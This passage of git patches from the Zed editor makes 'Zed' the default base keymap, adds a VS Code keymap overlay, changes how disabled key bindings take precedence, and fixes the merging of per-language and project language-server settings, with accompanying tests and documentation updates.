+      "ctrl-enter": null, // Inline Chat lives on `cmd-i` in VS Code
+    },
+  },
+  {
+    "context": "Terminal",
+    "use_key_equivalents": true,
+    "bindings": {
+      "cmd-i": "assistant::InlineAssist", // Terminal Inline Chat
+      "ctrl-enter": null,
+    },
+  },
+  {
+    "context": "BufferSearchBar || ProjectSearchBar",
+    "use_key_equivalents": true,
+    "bindings": {
+      "alt-cmd-r": "search::ToggleRegex", // Toggle Find Regex
+    },
+  },
+  {
+    "context": "Workspace",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f5": "debugger::Start", // Start Debugging
+      "ctrl-cmd-i": "agent::ToggleFocus", // Open Chat
+    },
+  },
+  {
+    "context": "Workspace && debugger_running",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f5": null,
+    },
+  },
+  {
+    "context": "Workspace && debugger_stopped",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f5": "debugger::Continue",
+    },
+  },
+  {
+    "context": "Workspace && debugger_session",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f10": "debugger::StepOver",
+      "f11": "debugger::StepInto",
+    },
+  },
+]
diff --git a/assets/settings/default.json b/assets/settings/default.json
index 0ecebd2dde9153..98f758c9f3fd17 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -13,16 +13,18 @@
   },
   "icon_theme": "Zed (Default)",
   // The name of a base set of key bindings to use.
-  // This setting can take six values, each named after another
-  // text editor:
+  // This setting can take the following values:
   //
-  // 1. "VSCode"
-  // 2. "Atom"
-  // 3. "JetBrains"
-  // 4. "None"
+  // 1. "Zed"
+  // 2. "VSCode"
+  // 3. "Atom"
+  // 4. "JetBrains"
   // 5. "SublimeText"
   // 6. "TextMate"
-  "base_keymap": "VSCode",
+  // 7. "Emacs"
+  // 8. "Cursor"
+  // 9. "None"
+  "base_keymap": "Zed",
   // The name of a font to use for rendering text in the editor
   // ".ZedMono" currently aliases to Lilex
   // but this may change in the future.
diff --git a/crates/gpui/src/keymap.rs b/crates/gpui/src/keymap.rs
index ade499b890bd82..bef0d03a2b9518 100644
--- a/crates/gpui/src/keymap.rs
+++ b/crates/gpui/src/keymap.rs
@@ -158,9 +158,10 @@ impl Keymap {
     /// In the case of multiple bindings at the same depth, the ones added to the keymap later take
     /// precedence. User bindings are added after built-in bindings so that they take precedence.
     ///
-    /// If a user has disabled a binding with `"x": null` it will not be returned. Disabled bindings
+    /// If a binding has been disabled with `"x": null` it will not be returned. Disabled bindings
     /// are evaluated with the same precedence rules so you can disable a rule in a given context
-    /// only.
+    /// only. A disabled binding only suppresses bindings from sources with equal or weaker
+    /// precedence: a base keymap null hides default bindings, but user bindings still apply.
     pub fn bindings_for_input(
         &self,
         input: &[impl AsKeystroke],
@@ -191,20 +192,20 @@ impl Keymap {
         let mut bindings: SmallVec<[_; 1]> = SmallVec::new();
         let mut first_binding_index = None;
         let mut unbound_bindings: Vec<&KeyBinding> = Vec::new();
+        // A `NoAction` binding suppresses out-ranked bindings from sources with
+        // equal or weaker precedence, while bindings from stronger sources (a
+        // smaller meta, e.g. a user binding vs a base keymap null) still apply.
+        // Bindings without a meta are treated as user bindings.
+        let mut no_action_meta: Option<u32> = None;
 
         for (_, ix, binding) in matched_bindings {
+            let meta = binding.meta.map_or(0, |meta| meta.0);
             if is_no_action(&*binding.action) {
-                // Only break if this is a user-defined NoAction binding
-                // This allows user keymaps to override base keymap NoAction bindings
-                if let Some(meta) = binding.meta {
-                    if meta.0 == 0 {
-                        break;
-                    }
-                } else {
-                    // If no meta is set, assume it's a user binding for safety
-                    break;
-                }
-                // For non-user NoAction bindings, continue searching for user overrides
+                no_action_meta = Some(no_action_meta.map_or(meta, |existing| existing.min(meta)));
+                continue;
+            }
+
+            if no_action_meta.is_some_and(|no_action_meta| meta >= no_action_meta) {
                 continue;
             }
 
@@ -570,6 +571,75 @@ mod tests {
         assert!(!pending);
     }
 
+    #[test]
+    fn test_disable_weaker_sources_only() {
+        const USER: KeyBindingMetaIndex = KeyBindingMetaIndex(0);
+        const VIM: KeyBindingMetaIndex = KeyBindingMetaIndex(1);
+        const BASE: KeyBindingMetaIndex = KeyBindingMetaIndex(2);
+        const DEFAULT: KeyBindingMetaIndex = KeyBindingMetaIndex(3);
+
+        let editor_context = || [KeyContext::parse("editor").unwrap()];
+        let ctrl_x = || [Keystroke::parse("ctrl-x").unwrap()];
+
+        // A base keymap null disables a default binding in the same context.
+        let mut keymap = Keymap::default();
+        keymap.add_bindings([
+            KeyBinding::new("ctrl-x", ActionAlpha {}, Some("editor")).with_meta(DEFAULT),
+            KeyBinding::new("ctrl-x", NoAction {}, Some("editor")).with_meta(BASE),
+        ]);
+        let (result, _) = keymap.bindings_for_input(&ctrl_x(), &editor_context());
+        assert!(result.is_empty());
+
+        // A user binding is not affected by base keymap or default nulls.
+        let mut keymap = Keymap::default();
+        keymap.add_bindings([
+            KeyBinding::new("ctrl-x", NoAction {}, Some("editor")).with_meta(DEFAULT),
+            KeyBinding::new("ctrl-x", NoAction {}, Some("editor")).with_meta(BASE),
+            KeyBinding::new("ctrl-x", ActionBeta {}, None).with_meta(USER),
+        ]);
+        let (result, _) = keymap.bindings_for_input(&ctrl_x(), &editor_context());
+        assert_eq!(result.len(), 1);
+        assert!(result[0].action.partial_eq(&ActionBeta {}));
+
+        // A user binding at a shallower context is not disabled by a deeper
+        // base keymap null.
+        let mut keymap = Keymap::default();
+        keymap.add_bindings([
+            KeyBinding::new("ctrl-x", NoAction {}, Some("editor")).with_meta(BASE),
+            KeyBinding::new("ctrl-x", ActionBeta {}, Some("workspace")).with_meta(USER),
+        ]);
+        let (result, _) = keymap.bindings_for_input(
+            &ctrl_x(),
+            &[
+                KeyContext::parse("workspace").unwrap(),
+                KeyContext::parse("editor").unwrap(),
+            ],
+        );
+        assert_eq!(result.len(), 1);
+        assert!(result[0].action.partial_eq(&ActionBeta {}));
+
+        // A vim binding survives a base keymap null, and a user null disables
+        // everything.
+        let mut keymap = Keymap::default();
+        keymap.add_bindings([
+            KeyBinding::new("ctrl-x", ActionAlpha {}, Some("editor")).with_meta(DEFAULT),
+            KeyBinding::new("ctrl-x", NoAction {}, Some("editor")).with_meta(BASE),
+            KeyBinding::new("ctrl-x", ActionGamma {}, Some("editor")).with_meta(VIM),
+        ]);
+        let (result, _) = keymap.bindings_for_input(&ctrl_x(), &editor_context());
+        assert_eq!(result.len(), 1);
+        assert!(result[0].action.partial_eq(&ActionGamma {}));
+
+        let mut keymap = Keymap::default();
+        keymap.add_bindings([
+            KeyBinding::new("ctrl-x", ActionAlpha {}, Some("editor")).with_meta(DEFAULT),
+            KeyBinding::new("ctrl-x", ActionGamma {}, Some("editor")).with_meta(VIM),
+            KeyBinding::new("ctrl-x", NoAction {}, Some("editor")).with_meta(USER),
+        ]);
+        let (result, _) = keymap.bindings_for_input(&ctrl_x(), &editor_context());
+        assert!(result.is_empty());
+    }
+
     #[test]
     fn test_fail_to_disable() {
         // disabled at the wrong level
diff --git a/crates/onboarding/src/basics_page.rs b/crates/onboarding/src/basics_page.rs
index 40fe15c08945ac..f2b1466c716f0b 100644
--- a/crates/onboarding/src/basics_page.rs
+++ b/crates/onboarding/src/basics_page.rs
@@ -331,19 +331,24 @@ fn render_telemetry_section(tab_index: &mut isize, cx: &App) -> impl IntoElement
 
 fn render_base_keymap_section(tab_index: &mut isize, cx: &mut App) -> impl IntoElement {
     let base_keymap = match BaseKeymap::get_global(cx) {
-        BaseKeymap::VSCode => Some(0),
-        BaseKeymap::JetBrains => Some(1),
-        BaseKeymap::SublimeText => Some(2),
-        BaseKeymap::Atom => Some(3),
-        BaseKeymap::Emacs => Some(4),
-        BaseKeymap::Cursor => Some(5),
-        BaseKeymap::TextMate | BaseKeymap::None => None,
+        BaseKeymap::Zed => Some(0),
+        BaseKeymap::VSCode => Some(1),
+        BaseKeymap::JetBrains => Some(2),
+        BaseKeymap::SublimeText => Some(3),
+        BaseKeymap::Atom => Some(4),
+        BaseKeymap::Emacs => Some(5),
+        BaseKeymap::Cursor => Some(6),
+        BaseKeymap::TextMate => Some(7),
+        BaseKeymap::None => None,
     };
 
     return v_flex().gap_2().child(Label::new("Base Keymap")).child(
         ToggleButtonGroup::two_rows(
             "base_keymap_selection",
             [
+                ToggleButtonWithIcon::new("Zed", IconName::AiZed, |_, _, cx| {
+                    write_keymap_base(BaseKeymap::Zed, cx);
+                }),
                 ToggleButtonWithIcon::new("VS Code", IconName::EditorVsCode, |_, _, cx| {
                     write_keymap_base(BaseKeymap::VSCode, cx);
                 }),
@@ -364,6 +369,9 @@ fn render_base_keymap_section(tab_index: &mut isize, cx: &mut App) -> impl IntoE
                 ToggleButtonWithIcon::new("Cursor", IconName::EditorCursor, |_, _, cx| {
                     write_keymap_base(BaseKeymap::Cursor, cx);
                 }),
+                ToggleButtonWithIcon::new("TextMate", IconName::Keyboard, |_, _, cx| {
+                    write_keymap_base(BaseKeymap::TextMate, cx);
+                }),
             ],
         )
         .when_some(base_keymap, |this, base_keymap| {
diff --git a/crates/settings/src/base_keymap_setting.rs b/crates/settings/src/base_keymap_setting.rs
index 8e872dae4076c3..28fc665de5f009 100644
--- a/crates/settings/src/base_keymap_setting.rs
+++ b/crates/settings/src/base_keymap_setting.rs
@@ -7,12 +7,13 @@ use settings::{RegisterSetting, Settings};
 
 /// Base key bindings scheme. Base keymaps can be overridden with user keymaps.
 ///
-/// Default: VSCode
+/// Default: Zed
 #[derive(
     Copy, Clone, Debug, Serialize, Deserialize, JsonSchema, PartialEq, Eq, Default, RegisterSetting,
 )]
 pub enum BaseKeymap {
     #[default]
+    Zed,
     VSCode,
     JetBrains,
     SublimeText,
@@ -26,6 +27,7 @@ pub enum BaseKeymap {
 impl From<BaseKeymapContent> for BaseKeymap {
     fn from(value: BaseKeymapContent) -> Self {
         match value {
+            BaseKeymapContent::Zed => Self::Zed,
             BaseKeymapContent::VSCode => Self::VSCode,
             BaseKeymapContent::JetBrains => Self::JetBrains,
             BaseKeymapContent::SublimeText => Self::SublimeText,
@@ -40,6 +42,7 @@ impl From<BaseKeymapContent> for BaseKeymap {
 impl Into<BaseKeymapContent> for BaseKeymap {
     fn into(self) -> BaseKeymapContent {
         match self {
+            BaseKeymap::Zed => BaseKeymapContent::Zed,
             BaseKeymap::VSCode => BaseKeymapContent::VSCode,
             BaseKeymap::JetBrains => BaseKeymapContent::JetBrains,
             BaseKeymap::SublimeText => BaseKeymapContent::SublimeText,
@@ -55,6 +58,7 @@ impl Into<BaseKeymapContent> for BaseKeymap {
 impl Display for BaseKeymap {
     fn fmt(&self, f: &mut Formatter<'_>) -> std::fmt::Result {
         match self {
+            BaseKeymap::Zed => write!(f, "Zed"),
             BaseKeymap::VSCode => write!(f, "VS Code"),
             BaseKeymap::JetBrains => write!(f, "JetBrains"),
             BaseKeymap::SublimeText => write!(f, "Sublime Text"),
@@ -69,8 +73,9 @@ impl Display for BaseKeymap {
 
 impl BaseKeymap {
     #[cfg(target_os = "macos")]
-    pub const OPTIONS: [(&'static str, Self); 7] = [
-        ("VS Code (Default)", Self::VSCode),
+    pub const OPTIONS: [(&'static str, Self); 8] = [
+        ("Zed (Default)", Self::Zed),
+        ("VS Code", Self::VSCode),
         ("Atom", Self::Atom),
         ("JetBrains", Self::JetBrains),
         ("Sublime Text", Self::SublimeText),
@@ -80,8 +85,9 @@ impl BaseKeymap {
     ];
 
     #[cfg(not(target_os = "macos"))]
-    pub const OPTIONS: [(&'static str, Self); 6] = [
-        ("VS Code (Default)", Self::VSCode),
+    pub const OPTIONS: [(&'static str, Self); 7] = [
+        ("Zed (Default)", Self::Zed),
+        ("VS Code", Self::VSCode),
         ("Atom", Self::Atom),
         ("JetBrains", Self::JetBrains),
         ("Sublime Text", Self::SublimeText),
@@ -98,7 +104,8 @@ impl BaseKeymap {
             BaseKeymap::TextMate => Some("keymaps/macos/textmate.json"),
             BaseKeymap::Emacs => Some("keymaps/macos/emacs.json"),
             BaseKeymap::Cursor => Some("keymaps/macos/cursor.json"),
-            BaseKeymap::VSCode => None,
+            BaseKeymap::VSCode => Some("keymaps/macos/vscode.json"),
+            BaseKeymap::Zed => None,
             BaseKeymap::None => None,
         }
 
@@ -110,7 +117,8 @@ impl BaseKeymap {
             BaseKeymap::Emacs => Some("keymaps/linux/emacs.json"),
             BaseKeymap::Cursor => Some("keymaps/linux/cursor.json"),
             BaseKeymap::TextMate => None,
-            BaseKeymap::VSCode => None,
+            BaseKeymap::VSCode => Some("keymaps/linux/vscode.json"),
+            BaseKeymap::Zed => None,
             BaseKeymap::None => None,
         }
     }
diff --git a/crates/settings_content/src/settings_content.rs b/crates/settings_content/src/settings_content.rs
index 42d1a242dfd5ee..9e972322912507 100644
--- a/crates/settings_content/src/settings_content.rs
+++ b/crates/settings_content/src/settings_content.rs
@@ -459,7 +459,7 @@ pub struct ExtensionsSettingsContent {
 
 /// Base key bindings scheme. Base keymaps can be overridden with user keymaps.
 ///
-/// Default: VSCode
+/// Default: Zed
 #[derive(
     Copy,
     Clone,
@@ -475,6 +475,7 @@ pub struct ExtensionsSettingsContent {
 )]
 pub enum BaseKeymapContent {
     #[default]
+    Zed,
     VSCode,
     JetBrains,
     SublimeText,
@@ -487,6 +488,7 @@ pub enum BaseKeymapContent {
 
 impl strum::VariantNames for BaseKeymapContent {
     const VARIANTS: &'static [&'static str] = &[
+        "Zed",
         "VSCode",
         "JetBrains",
         "Sublime Text",
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 19fe94d3ef5d4a..dd107911903fd4 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -5287,6 +5287,8 @@ mod tests {
         use workspace::ActivatePreviousPane;
         // From the JetBrains keymap
         use workspace::ActivatePreviousItem;
+        // From the VSCode keymap
+        use debugger_ui::Start;
 
         app_state
             .fs
@@ -5379,6 +5381,36 @@ mod tests {
             ],
             line!(),
         );
+
+        // Test the VSCode keymap overlay
+        app_state
+            .fs
+            .save(
+                paths::settings_file(),
+                &r#"{"base_keymap": "VSCode"}"#.into(),
+                Default::default(),
+            )
+            .await
+            .unwrap();
+
+        executor.run_until_parked();
+
+        window
+            .update(cx, |_, _, cx| {
+                workspace.update(cx, |workspace, cx| {
+                    workspace.register_action(|_, _: &Start, _window, _cx| {});
+                    cx.notify();
+                });
+            })
+            .unwrap();
+        executor.run_until_parked();
+
+        assert_key_bindings_for(
+            window.into(),
+            cx,
+            vec![("backspace", &ActionB), ("f5", &Start)],
+            line!(),
+        );
     }
 
     #[gpui::test]
diff --git a/docs/src/key-bindings.md b/docs/src/key-bindings.md
index 490293c9eba398..b137d1217e7597 100644
--- a/docs/src/key-bindings.md
+++ b/docs/src/key-bindings.md
@@ -12,7 +12,8 @@ Zed's key binding system is fully customizable. You can rebind any action, creat
 If you're used to a specific editor's defaults, you can change your `base_keymap` through the settings window ({#kb zed::OpenSettings}) or directly through your `settings.json` file ({#kb zed::OpenSettingsFile}).
 We currently support:
 
-- VS Code (default)
+- Zed (default)
+- VS Code
 - Atom
 - Emacs (Beta)
 - JetBrains
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index d785045fdb3816..513a41df70ec83 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -304,39 +304,39 @@ Note that a save will be triggered when an unsaved tab is closed, even if this i
 
 - Description: Base key bindings scheme. Base keymaps can be overridden with user keymaps.
 - Setting: `base_keymap`
-- Default: `VSCode`
+- Default: `Zed`
 
 **Options**
 
-1. VS Code
+1. Zed
 
 ```json [settings]
 {
-  "base_keymap": "VSCode"
+  "base_keymap": "Zed"
 }
 ```
 
-2. Atom
+2. VS Code
 
 ```json [settings]
 {
-  "base_keymap": "Atom"
+  "base_keymap": "VSCode"
 }
 ```
 
-3. JetBrains
+3. Atom
 
 ```json [settings]
 {
-  "base_keymap": "JetBrains"
+  "base_keymap": "Atom"
 }
 ```
 
-4. None
+4. JetBrains
 
 ```json [settings]
 {
-  "base_keymap": "None"
+  "base_keymap": "JetBrains"
 }
 ```
 
@@ -356,6 +356,30 @@ Note that a save will be triggered when an unsaved tab is closed, even if this i
 }
 ```
 
+7. Emacs
+
+```json [settings]
+{
+  "base_keymap": "Emacs"
+}
+```
+
+8. Cursor
+
+```json [settings]
+{
+  "base_keymap": "Cursor"
+}
+```
+
+9. None
+
+```json [settings]
+{
+  "base_keymap": "None"
+}
+```
+
 ## Buffer Font Family
 
 - Description: The name of a font to use for rendering text in the editor.

From 82766871481bfc126f8fd42a3b9f51afc9b2decd Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 24 Jul 2026 11:32:03 +0300
Subject: [PATCH 675/772] Use proper rules for merging language server settings
 (#61546)

Closes https://github.com/zed-industries/zed/issues/61524

https://github.com/zed-industries/zed/issues/60763 was a bogus issue:
the semantic of root `language_settings` is the **default settings for
all languages**, not a "magic string that gets applied when an `!x`
exclusion is mentioned there".

Thus, reverts https://github.com/zed-industries/zed/pull/60984 and
redoes https://github.com/zed-industries/zed/pull/60000 in a correct
way: more custom settings replace less custom ones, same applies to the
language server settings.
Instead of doing some odd `!x` manipulations, the right fix is to remove
the old state as

```diff
 impl merge_from::MergeFrom for AllLanguageSettingsContent {
     fn merge_from(&mut self, other: &Self) {
         ...
         self.defaults.merge_from(&other.defaults);
         for language_settings in self.languages.0.values_mut() {
+            let language_servers = language_settings.language_servers.take();
             language_settings.merge_from(&other.defaults);
+            language_settings.language_servers = language_servers;
         }

         for (language_name, user_language_settings) in &other.languages.0 {
             if let Some(existing) = self.languages.0.get_mut(language_name) {
                 existing.merge_from(&user_language_settings);
             } else {
                 let mut new_settings = self.defaults.clone();
+                new_settings.language_servers = None;
                 new_settings.merge_from(&user_language_settings);
```

After the final override is determined, `...` is expanded and `!x`
entries are removed from the final list.

Project settings override user settings, so it's possible that a certain
language server is disabled by the user and re-enabled in the project:
worktree trust mechanism is supposed to mitigate the security issues.

More tests were added to cover all the cases.

Release Notes:

- Fixed project settings not re-enabling language servers
---
 crates/language/src/language_settings.rs | 350 +++++++++++++++++++++++
 crates/settings_content/src/language.rs  | 129 +++------
 2 files changed, 384 insertions(+), 95 deletions(-)

diff --git a/crates/language/src/language_settings.rs b/crates/language/src/language_settings.rs
index da7f73dbd515b0..4f1e577e162fb9 100644
--- a/crates/language/src/language_settings.rs
+++ b/crates/language/src/language_settings.rs
@@ -940,6 +940,7 @@ pub struct JsxTagAutoCloseSettings {
 mod tests {
     use super::*;
     use gpui::TestAppContext;
+    use settings::{LocalSettingsKind, LocalSettingsPath, WorktreeId};
     use util::rel_path::rel_path;
 
     #[gpui::test]
@@ -1159,4 +1160,353 @@ mod tests {
             ])
         );
     }
+
+    #[gpui::test]
+    fn test_language_servers_across_settings_files(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let mut store = SettingsStore::new(cx, &settings::default_settings());
+            store.register_setting::<AllLanguageSettings>();
+
+            let worktree_id = WorktreeId::from_usize(1);
+            let root = LocalSettingsPath::InWorktree(rel_path("root").into());
+            let subdir = LocalSettingsPath::InWorktree(rel_path("root/subdir").into());
+            let root_location = Some(SettingsLocation {
+                worktree_id,
+                path: rel_path("root/a.ts"),
+            });
+            let subdir_location = Some(SettingsLocation {
+                worktree_id,
+                path: rel_path("root/subdir/b.ts"),
+            });
+
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["vtsls", "eslint"]),
+                "default settings should disable typescript-language-server for TypeScript"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["typescript-language-server", "vtsls", "eslint"]),
+            );
+
+            store
+                .set_user_settings(r#"{"language_servers": ["!vtsls", "..."]}"#, cx)
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["vtsls", "eslint"]),
+                "the per-language list should fully replace the user's global list"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["typescript-language-server", "eslint"]),
+                "user's global disable should apply to languages without their own list"
+            );
+
+            store
+                .set_local_settings(
+                    worktree_id,
+                    root.clone(),
+                    LocalSettingsKind::Settings,
+                    Some(r#"{"language_servers": ["..."]}"#),
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "Rust"),
+                servers(&["typescript-language-server", "vtsls", "eslint"]),
+                "project settings enabling all servers should undo the user's global disable (#61524)"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["typescript-language-server", "eslint"]),
+                "user's global disable should still apply outside of the project"
+            );
+
+            store
+                .set_local_settings(
+                    worktree_id,
+                    root.clone(),
+                    LocalSettingsKind::Settings,
+                    Some(r#"{"language_servers": ["!eslint", "..."]}"#),
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "Rust"),
+                servers(&["typescript-language-server", "vtsls"]),
+                "project's global list should replace the user's global list"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "TypeScript"),
+                servers(&["vtsls", "eslint"]),
+                "the per-language list should fully replace the project's global list"
+            );
+
+            store
+                .set_local_settings(
+                    worktree_id,
+                    subdir.clone(),
+                    LocalSettingsKind::Settings,
+                    Some(r#"{"language_servers": ["..."]}"#),
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, subdir_location, "Rust"),
+                servers(&["typescript-language-server", "vtsls", "eslint"]),
+                "nested project settings should replace the outer global list"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "Rust"),
+                servers(&["typescript-language-server", "vtsls"]),
+            );
+            store
+                .set_local_settings(worktree_id, subdir, LocalSettingsKind::Settings, None, cx)
+                .unwrap();
+
+            store
+                .set_local_settings(
+                    worktree_id,
+                    root.clone(),
+                    LocalSettingsKind::Settings,
+                    Some(
+                        r#"{"languages": {"TypeScript": {"language_servers": ["vtsls", "..."]}}}"#,
+                    ),
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "TypeScript"),
+                servers(&["vtsls", "typescript-language-server", "eslint"]),
+                "project's per-language configuration should override the user's global disable"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "Rust"),
+                servers(&["typescript-language-server", "eslint"]),
+                "user's global disable should still apply to other languages"
+            );
+
+            store
+                .set_user_settings(
+                    r#"{
+                        "language_servers": ["!vtsls", "..."],
+                        "languages": {"TypeScript": {"language_servers": ["vtsls", "..."]}}
+                    }"#,
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["vtsls", "typescript-language-server", "eslint"]),
+                "per-language configuration should win over a global disable from the same file"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["typescript-language-server", "eslint"]),
+            );
+
+            store
+                .set_local_settings(
+                    worktree_id,
+                    root.clone(),
+                    LocalSettingsKind::Settings,
+                    Some(r#"{"language_servers": ["!vtsls", "..."]}"#),
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "TypeScript"),
+                servers(&["vtsls", "typescript-language-server", "eslint"]),
+                "user's per-language list should win over the project's global disable"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "Rust"),
+                servers(&["typescript-language-server", "eslint"]),
+                "project's global disable should still apply to languages without their own list"
+            );
+
+            store
+                .set_user_settings(
+                    r#"{"languages": {"JavaScript": {"language_servers": ["!vtsls", "..."]}}}"#,
+                    cx,
+                )
+                .unwrap();
+            store
+                .set_local_settings(
+                    worktree_id,
+                    root,
+                    LocalSettingsKind::Settings,
+                    Some(r#"{"languages": {"JavaScript": {"language_servers": ["..."]}}}"#),
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "JavaScript"),
+                servers(&["typescript-language-server", "vtsls", "eslint"]),
+                "project's per-language list should re-enable a server disabled by the user (#61524)"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "JavaScript"),
+                servers(&["typescript-language-server", "eslint"]),
+                "user's per-language disable should still apply outside of the project"
+            );
+        });
+    }
+
+    #[gpui::test]
+    fn test_language_servers_combined_restrictions(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let mut store = SettingsStore::new(cx, &settings::default_settings());
+            store.register_setting::<AllLanguageSettings>();
+
+            let worktree_id = WorktreeId::from_usize(1);
+            let root = LocalSettingsPath::InWorktree(rel_path("root").into());
+            let root_location = Some(SettingsLocation {
+                worktree_id,
+                path: rel_path("root/a.ts"),
+            });
+
+            store
+                .set_user_settings(r#"{"language_servers": ["!vtsls", "..."]}"#, cx)
+                .unwrap();
+            store
+                .set_local_settings(
+                    worktree_id,
+                    root,
+                    LocalSettingsKind::Settings,
+                    Some(r#"{"language_servers": ["!eslint", "..."]}"#),
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "Rust"),
+                servers(&["typescript-language-server", "vtsls"]),
+                "global lists replace wholesale: disables from different files must not accumulate"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["typescript-language-server", "eslint"]),
+                "user's own disable should still apply outside of the project"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, root_location, "TypeScript"),
+                servers(&["vtsls", "eslint"]),
+                "a language with its own list should ignore global lists from every file"
+            );
+
+            store
+                .set_user_settings(r#"{"language_servers": ["...", "!vtsls"]}"#, cx)
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["typescript-language-server", "eslint"]),
+                "the position of a disabled entry relative to '...' should not matter"
+            );
+
+            store
+                .set_user_settings(r#"{"language_servers": ["eslint", "..."]}"#, cx)
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["eslint", "typescript-language-server", "vtsls"]),
+                "the position of '...' should determine the priority order of enabled servers"
+            );
+
+            store
+                .set_user_settings(r#"{"language_servers": ["eslint"]}"#, cx)
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["eslint"]),
+                "a global list without '...' should be exhaustive for languages without their own list"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["vtsls", "eslint"]),
+                "a global list, exhaustive or not, never applies to languages with their own list"
+            );
+
+            store
+                .set_user_settings(
+                    r#"{
+                        "language_servers": ["!eslint", "..."],
+                        "languages": {"TypeScript": {"language_servers": ["vtsls", "..."]}}
+                    }"#,
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["vtsls", "typescript-language-server", "eslint"]),
+                "authoring a per-language list opts the language out of the global list entirely"
+            );
+            assert_eq!(
+                resolved_language_servers(&store, None, "Rust"),
+                servers(&["typescript-language-server", "vtsls"]),
+            );
+
+            // Issue #60763: to disable a server that the shipped list explicitly
+            // enables, the spelling is per-language, restating the shipped
+            // exclusions.
+            store
+                .set_user_settings(
+                    r#"{"languages": {"TypeScript": {"language_servers": ["!typescript-language-server", "!vtsls", "..."]}}}"#,
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["eslint"]),
+                "a per-language disable should win over the shipped explicit enable"
+            );
+            store
+                .set_user_settings(
+                    r#"{"languages": {"TypeScript": {"language_servers": ["!vtsls", "..."]}}}"#,
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["typescript-language-server", "eslint"]),
+                "a per-language list not restating the shipped exclusions should lift them"
+            );
+
+            store
+                .set_user_settings(
+                    r#"{"languages": {"TypeScript": {"language_servers": ["eslint"]}}}"#,
+                    cx,
+                )
+                .unwrap();
+            assert_eq!(
+                resolved_language_servers(&store, None, "TypeScript"),
+                servers(&["eslint"]),
+                "an exhaustive per-language list should pin exactly the listed servers"
+            );
+        });
+    }
+
+    fn servers(names: &[&str]) -> Vec<LanguageServerName> {
+        names
+            .iter()
+            .map(|name| LanguageServerName(name.to_string().into()))
+            .collect::<Vec<_>>()
+    }
+
+    fn resolved_language_servers(
+        store: &SettingsStore,
+        location: Option<SettingsLocation>,
+        language: &str,
+    ) -> Vec<LanguageServerName> {
+        let all_settings = store.get::<AllLanguageSettings>(location);
+        let language_settings = all_settings
+            .languages
+            .get(&LanguageName::new(language))
+            .unwrap_or(&all_settings.defaults);
+        language_settings.customized_language_servers(&servers(&[
+            "typescript-language-server",
+            "vtsls",
+            "eslint",
+        ]))
+    }
 }
diff --git a/crates/settings_content/src/language.rs b/crates/settings_content/src/language.rs
index 326513c28e8864..0dbe3b0ca563e7 100644
--- a/crates/settings_content/src/language.rs
+++ b/crates/settings_content/src/language.rs
@@ -55,36 +55,10 @@ impl merge_from::MergeFrom for AllLanguageSettingsContent {
         // A user's global settings override the default global settings and
         // all default language-specific settings.
         self.defaults.merge_from(&other.defaults);
-        let globally_disabled_servers = other.defaults.language_servers.as_ref().map(|servers| {
-            servers
-                .iter()
-                .filter(|entry| entry.disabled)
-                .cloned()
-                .collect::<Vec<_>>()
-        });
         for language_settings in self.languages.0.values_mut() {
-            let language_server_overrides = language_settings.language_servers.clone();
+            let language_servers = language_settings.language_servers.take();
             language_settings.merge_from(&other.defaults);
-            if let Some(mut language_server_overrides) = language_server_overrides {
-                if let Some(disabled) = &globally_disabled_servers {
-                    for disabled_server in disabled {
-                        language_server_overrides
-                            .retain(|entry| entry.disabled || entry.name != disabled_server.name);
-                    }
-
-                    let insert_before = language_server_overrides
-                        .iter()
